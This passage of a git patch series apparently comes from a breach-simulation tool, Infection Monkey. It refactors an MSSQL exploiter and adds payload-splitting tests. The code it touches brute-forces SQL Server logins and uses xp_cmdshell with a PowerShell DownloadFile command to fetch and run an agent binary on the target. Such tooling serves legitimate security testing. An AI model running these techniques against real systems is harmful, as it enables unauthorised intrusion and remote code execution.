000000000..af682dbff --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -0,0 +1,32 @@ +from unittest import TestCase +from payload_parsing import Payload, LimitedSizePayload + + +class TestPayload(TestCase): + def test_get_payload(self): + test_str1 = "abc" + test_str2 = "atc" + payload = Payload(command="b", prefix="a", suffix="c") + assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 + + def test_is_suffix_and_prefix_too_long(self): + pld_fail = LimitedSizePayload("b", 2, "a", "c") + pld_success = LimitedSizePayload("b", 3, "a", "c") + assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + + def test_split_into_array_of_smaller_payloads(self): + test_str1 = "123456789" + pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") + array1 = pld1.split_into_array_of_smaller_payloads() + test1 = bool(array1[0] == "prefix1234suffix" and + array1[1] == "prefix5678suffix" and + array1[2] == "prefix9suffix") + + test_str2 = "12345678" + pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") + array2 = pld2.split_into_array_of_smaller_payloads() + test2 = bool(array2[0] == "prefix1234suffix" and + array2[1] == "prefix5678suffix" and len(array2) == 2) + + assert test1 and test2 + diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..d3f046f56 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError __author__ = 'itamar' @@ -300,7 +301,11 @@ class InfectionMonkey(object): return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - + except ExploitingVulnerableMachineError as exc: + LOG.error("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + self.successfully_exploited(machine, exploiter) + return True except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) From 6c49cabbc2c7515a41558d976c00aa6825df6263 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:27:11 +0300 Subject: [PATCH 5/9] Changed string formatting to latest syntax --- monkey/infection_monkey/exploit/mssqlexec.py | 24 ++++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fc27cc600..132103287 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" XP_CMDSHELL_COMMAND_END = "\"" EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" - CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" + EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}" + CREATE_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" + "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter): return self.run_mssql_command(file_running_command) def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter): def remove_temp_dir(self): # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): @@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter): monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % self.payload_file_path + suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, - 'dst_path': dst_path} + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) return MSSQLLimitedSizePayload(command=monkey_download_command, suffix=suffix, prefix=prefix) From ac702ffc27d9feb2d1373ae4c678d6e2c17e1145 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:29:08 +0300 Subject: [PATCH 6/9] Removed useless import in mssqlexec --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 132103287..9e8fdc9fb 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,8 +8,7 @@ import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ - build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError From 005618072dfec88893ecd5c635b65bf9613054d2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 11:46:28 +0300 Subject: [PATCH 7/9] Removed unused mssqlexec objects property --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9e8fdc9fb..61fcd1823 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -43,7 +43,6 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None - self.monkey_binary_on_host_path = None self.monkey_server = None self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) From 02c7d6c30e740948f3be251a1e927099019aa0a8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 12:11:47 +0300 Subject: [PATCH 8/9] Added docs about order of method calls --- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 61fcd1823..c08aec28d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -47,6 +47,10 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): + """ + First this method brute forces to get the mssql connection (cursor). + Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) From 994b6ed63dc3a686747bffa547f94dc336ceaf40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 17:23:28 +0300 Subject: [PATCH 9/9] Improved exception throwing --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/tools/http_tools.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c08aec28d..db503c717 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -185,7 +185,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 0de47b155..19b45b043 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -85,6 +85,6 @@ class MonkeyHTTPServer(HTTPTools): def stop(self): if not self.http_path or not self.http_thread: - raise Exception("Can't stop http server that wasn't started!") + raise RuntimeError("Can't stop http server that wasn't started!") self.http_thread.join(DOWNLOAD_TIMEOUT) self.http_thread.stop()